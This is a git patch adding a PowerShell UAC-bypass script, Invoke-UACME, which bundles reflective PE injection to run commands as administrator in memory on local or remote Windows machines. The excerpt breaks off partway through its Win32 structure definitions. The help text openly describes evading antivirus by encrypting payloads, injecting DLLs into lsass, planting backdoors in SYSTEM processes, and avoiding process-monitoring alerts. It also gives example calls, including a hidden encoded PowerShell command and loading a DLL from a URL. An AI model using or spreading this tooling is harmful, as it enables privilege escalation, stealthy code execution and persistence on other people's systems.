From 1db41796052790088ca244572549e1298279690c Mon Sep 17 00:00:00 2001 From: redfast00 Date: Sun, 31 Jan 2016 11:29:30 +0100 Subject: [PATCH] Added Invoke-UACME Added Invoke-UACME, a way to bypass UAC in memory. This currently works from Windows 7 up to 10.0.10532 that has PowerShell v2 or higher installed. --- Escalation/Invoke-UACME.ps1 | 3068 +++++++++++++++++++++++++++++++++++ 1 file changed, 3068 insertions(+) create mode 100644 Escalation/Invoke-UACME.ps1 diff --git a/Escalation/Invoke-UACME.ps1 b/Escalation/Invoke-UACME.ps1 new file mode 100644 index 0000000..16539f8 --- /dev/null +++ b/Escalation/Invoke-UACME.ps1 @@ -0,0 +1,3068 @@ +function Invoke-UACME{ +<# +.SYNOPSIS + +This script leverages UACME 2.0 and Invoke-ReflectivePEInjection to reflectively load UACME completely in memory. This allows you to bypass UAC. +The script has a ComputerName parameter which allows it to be executed against multiple computers. + +This script should be able to elevate from Windows 7 up to 10.0.10532 that has PowerShell v2 or higher installed. + +Function: Invoke-UACME +Author: redfast00, Twitter @redfast00 +UACME Author: hfiref0x, Github https://github.com/hfiref0x +License: http://creativecommons.org/licenses/by/3.0/fr/ +Required Dependencies: UACME (included) +Optional Dependencies: None +ReflectivePEInjection version: 1.1 +UACME version: 2.0 + +.DESCRIPTION + +Reflectively loads UACME in memory using PowerShell. This allows you to bypass UAC. + +.PARAMETER Command + +The command to execute as administrator. + +.PARAMETER ComputerName + +Optional, an array of computernames to run the script on. + +.PARAMETER ComputerName + +.EXAMPLE + +Invoke-UACME -Command "calc.exe" + +.EXAMPLE + +Invoke-UACME -Command "powershell.exe -W Hidden -nop -enc AABBCCDDEEFF" + +.NOTES + +This script was created by combining the Invoke-ReflectivePEInjection script written by Joe Bialek and the UACME code written by hfiref0x. +Find Invoke-ReflectivePEInjection at: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectivePEInjection +Find UACME at: https://github.com/hfiref0x/UACME +.LINK + +#> + +[CmdletBinding()] +Param( + [Parameter(ParameterSetName = "Command", Position = 0, Mandatory = $true)] + [String] + $Command, + + [Parameter(ParameterSetName = "ComputerName", Position = 1)] + [String[]] + $ComputerName +) +$Method = '10' +Set-StrictMode -Version 2 +Write-Verbose "Started Invoke-UAMCE" + +$RemoteScriptBlock = { + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $true)] + [String] + $PEBytes64, + + [Parameter(Position = 1, Mandatory = $true)] + [String] + $PEBytes32, + + [Parameter(Position = 2)] + [String] + $Command + ) + function Invoke-ReflectivePEInjection{ + +<# +.SYNOPSIS + +This script has two modes. It can reflectively load a DLL/EXE in to the PowerShell process, +or it can reflectively load a DLL in to a remote process. These modes have different parameters and constraints, +please lead the Notes section (GENERAL NOTES) for information on how to use them. + + +1.)Reflectively loads a DLL or EXE in to memory of the Powershell process. +Because the DLL/EXE is loaded reflectively, it is not displayed when tools are used to list the DLLs of a running process. + +This tool can be run on remote servers by supplying a local Windows PE file (DLL/EXE) to load in to memory on the remote system, +this will load and execute the DLL/EXE in to memory without writing any files to disk. + + +2.) Reflectively load a DLL in to memory of a remote process. +As mentioned above, the DLL being reflectively loaded won't be displayed when tools are used to list DLLs of the running remote process. + +This is probably most useful for injecting backdoors in SYSTEM processes in Session0. Currently, you cannot retrieve output +from the DLL. The script doesn't wait for the DLL to complete execution, and doesn't make any effort to cleanup memory in the +remote process. + + +While this script provides functionality to specify a file to load from disk a URL, or a byte array, these are more for demo purposes. The way I'd recommend using the script is to create a byte array +containing the file you'd like to reflectively load, and hardcode that byte array in to the script. One advantage of doing this is you can encrypt the byte array and decrypt it in memory, which will +bypass A/V. Another advantage is you won't be making web requests. The script can also load files from SQL Server and be used as a SQL Server backdoor. Please see the Casaba +blog linked below (thanks to whitey). + +PowerSploit Function: Invoke-ReflectivePEInjection +Author: Joe Bialek, Twitter: @JosephBialek +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None +Version: 1.4 + +.DESCRIPTION + +Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process. + +.PARAMETER PEPath + +The path of the DLL/EXE to load and execute. This file must exist on the computer the script is being run on, not the remote computer. + +.PARAMETER PEUrl + +A URL containing a DLL/EXE to load and execute. + +.PARAMETER PEBytes + +A byte array containing a DLL/EXE to load and execute. + +.PARAMETER ComputerName + +Optional, an array of computernames to run the script on. + +.PARAMETER FuncReturnType + +Optional, the return type of the function being called in the DLL. Default: Void + Options: String, WString, Void. See notes for more information. + IMPORTANT: For DLLs being loaded remotely, only Void is supported. + +.PARAMETER ExeArgs + +Optional, arguments to pass to the executable being reflectively loaded. + +.PARAMETER ProcName + +Optional, the name of the remote process to inject the DLL in to. If not injecting in to remote process, ignore this. + +.PARAMETER ProcId + +Optional, the process ID of the remote process to inject the DLL in to. If not injecting in to remote process, ignore this. + +.PARAMETER ForceASLR + +Optional, will force the use of ASLR on the PE being loaded even if the PE indicates it doesn't support ASLR. Some PE's will work with ASLR even + if the compiler flags don't indicate they support it. Other PE's will simply crash. Make sure to test this prior to using. Has no effect when + loading in to a remote process. + +.EXAMPLE + +Load DemoDLL from a URL and run the exported function WStringFunc on the current system, print the wchar_t* returned by WStringFunc(). +Note that the file name on the website can be any file extension. +Invoke-ReflectivePEInjection -PEUrl http://yoursite.com/DemoDLL.dll -FuncReturnType WString + +.EXAMPLE + +Load DemoDLL and run the exported function WStringFunc on Target.local, print the wchar_t* returned by WStringFunc(). +Invoke-ReflectivePEInjection -PEPath DemoDLL.dll -FuncReturnType WString -ComputerName Target.local + +.EXAMPLE + +Load DemoDLL and run the exported function WStringFunc on all computers in the file targetlist.txt. Print + the wchar_t* returned by WStringFunc() from all the computers. +Invoke-ReflectivePEInjection -PEPath DemoDLL.dll -FuncReturnType WString -ComputerName (Get-Content targetlist.txt) + +.EXAMPLE + +Load DemoEXE and run it locally. +Invoke-ReflectivePEInjection -PEPath DemoEXE.exe -ExeArgs "Arg1 Arg2 Arg3 Arg4" + +.EXAMPLE + +Load DemoEXE and run it locally. Forces ASLR on for the EXE. +Invoke-ReflectivePEInjection -PEPath DemoEXE.exe -ExeArgs "Arg1 Arg2 Arg3 Arg4" -ForceASLR + +.EXAMPLE + +Refectively load DemoDLL_RemoteProcess.dll in to the lsass process on a remote computer. +Invoke-ReflectivePEInjection -PEPath DemoDLL_RemoteProcess.dll -ProcName lsass -ComputerName Target.Local + +.EXAMPLE + +Load a PE from a byte array. +Invoke-ReflectivePEInjection -PEPath (Get-Content c:\DemoEXE.exe -Encoding Byte) -ExeArgs "Arg1 Arg2 Arg3 Arg4" + +.NOTES +GENERAL NOTES: +The script has 3 basic sets of functionality: +1.) Reflectively load a DLL in to the PowerShell process + -Can return DLL output to user when run remotely or locally. + -Cleans up memory in the PS process once the DLL finishes executing. + -Great for running pentest tools on remote computers without triggering process monitoring alerts. + -By default, takes 3 function names, see below (DLL LOADING NOTES) for more info. +2.) Reflectively load an EXE in to the PowerShell process. + -Can NOT return EXE output to user when run remotely. If remote output is needed, you must use a DLL. CAN return EXE output if run locally. + -Cleans up memory in the PS process once the DLL finishes executing. + -Great for running existing pentest tools which are EXE's without triggering process monitoring alerts. +3.) Reflectively inject a DLL in to a remote process. + -Can NOT return DLL output to the user when run remotely OR locally. + -Does NOT clean up memory in the remote process if/when DLL finishes execution. + -Great for planting backdoor on a system by injecting backdoor DLL in to another processes memory. + -Expects the DLL to have this function: void VoidFunc(). This is the function that will be called after the DLL is loaded. + + + +DLL LOADING NOTES: + +PowerShell does not capture an applications output if it is output using stdout, which is how Windows console apps output. +If you need to get back the output from the PE file you are loading on remote computers, you must compile the PE file as a DLL, and have the DLL +return a char* or wchar_t*, which PowerShell can take and read the output from. Anything output from stdout which is run using powershell +remoting will not be returned to you. If you just run the PowerShell script locally, you WILL be able to see the stdout output from +applications because it will just appear in the console window. The limitation only applies when using PowerShell remoting. + +For DLL Loading: +Once this script loads the DLL, it calls a function in the DLL. There is a section near the bottom labeled "YOUR CODE GOES HERE" +I recommend your DLL take no parameters. I have prewritten code to handle functions which take no parameters are return +the following types: char*, wchar_t*, and void. If the function returns char* or wchar_t* the script will output the +returned data. The FuncReturnType parameter can be used to specify which return type to use. The mapping is as follows: +wchar_t* : FuncReturnType = WString +char* : FuncReturnType = String +void : Default, don't supply a FuncReturnType + +For the whcar_t* and char_t* options to work, you must allocate the string to the heap. Don't simply convert a string +using string.c_str() because it will be allocaed on the stack and be destroyed when the DLL returns. + +The function name expected in the DLL for the prewritten FuncReturnType's is as follows: +WString : WStringFunc +String : StringFunc +Void : VoidFunc + +These function names ARE case sensitive. To create an exported DLL function for the wstring type, the function would +be declared as follows: +extern "C" __declspec( dllexport ) wchar_t* WStringFunc() + + +If you want to use a DLL which returns a different data type, or which takes parameters, you will need to modify +this script to accomodate this. You can find the code to modify in the section labeled "YOUR CODE GOES HERE". + +Find a DemoDLL at: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectiveDllInjection + +.LINK + +Blog: http://clymb3r.wordpress.com/ +Github repo: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectivePEInjection + +Blog on reflective loading: http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/ +Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/ +Blog on using this script as a backdoor with SQL server: http://www.casaba.com/blog/ + +#> + +[CmdletBinding(DefaultParameterSetName="WebFile")] +Param( + [Parameter(ParameterSetName = "LocalFile", Position = 0, Mandatory = $true)] + [String] + $PEPath, + + [Parameter(ParameterSetName = "WebFile", Position = 0, Mandatory = $true)] + [Uri] + $PEUrl, + + [Parameter(ParameterSetName = "Bytes", Position = 0, Mandatory = $true)] + [ValidateNotNullOrEmpty()] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1)] + [String[]] + $ComputerName, + + [Parameter(Position = 2)] + [ValidateSet( 'WString', 'String', 'Void' )] + [String] + $FuncReturnType = 'Void', + + [Parameter(Position = 3)] + [String] + $ExeArgs, + + [Parameter(Position = 4)] + [Int32] + $ProcId, + + [Parameter(Position = 5)] + [String] + $ProcName, + + [Parameter(Position = 6)] + [Switch] + $ForceASLR +) + +Set-StrictMode -Version 2 + + +$RemoteScriptBlock = { + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $true)] + [String] + $FuncReturnType, + + [Parameter(Position = 2, Mandatory = $true)] + [Int32] + $ProcId, + + [Parameter(Position = 3, Mandatory = $true)] + [String] + $ProcName, + + [Parameter(Position = 4, Mandatory = $true)] + [Bool] + $ForceASLR + ) + + ################################### + ########## Win32 Stuff ########## + ################################### + Function Get-Win32Types + { + $Win32Types = New-Object System.Object + + #Define all the structures/enums that will be used + # This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html + $Domain = [AppDomain]::CurrentDomain + $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false) + $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] + + + ############ ENUM ############ + #Enum MachineType + $TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null + $TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null + $TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null + $TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null + $MachineType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType + + #Enum MagicType + $TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null + $MagicType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType + + #Enum SubSystemType + $TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null + $SubSystemType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType + + #Enum DllCharacteristicsType + $TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null + $TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null + $TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null + $TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null + $TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null + $DllCharacteristicsType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType + + ########### STRUCT ########### + #Struct IMAGE_DATA_DIRECTORY + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8) + ($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null + $IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY + + #Struct IMAGE_FILE_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20) + $TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null + $IMAGE_FILE_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER + + #Struct IMAGE_OPTIONAL_HEADER64 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240) + ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null + ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null + ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null + ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null + ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null + ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null + ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null + ($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null + ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null + ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null + ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null + ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null + ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null + ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null + ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null + ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null + ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null + ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null + ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null + ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null + ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null + ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null + ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null + ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null + ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null + ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null + ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null + ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null + ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null + ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null + ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null + ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null + ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null + ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null + ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null + ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null + ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null + ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null + ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null + $IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64 + + #Struct IMAGE_OPTIONAL_HEADER32 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224) + ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null + ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null + ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null + ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null + ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null + ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null + ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null + ($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null + ($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null + ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null + ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null + ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null + ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null + ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null + ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null + ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null + ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null + ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null + ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null + ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null + ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null + ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null + ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null + ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null + ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null + ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null + ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null + ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null + ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null + ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null + ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null + ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null + ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null + ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null + ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null + ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null + ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null + ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null + ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null + ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null + $IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32 + + #Struct IMAGE_NT_HEADERS64 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264) + $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null + $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null + $IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64 + + #Struct IMAGE_NT_HEADERS32 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248) + $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null + $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null + 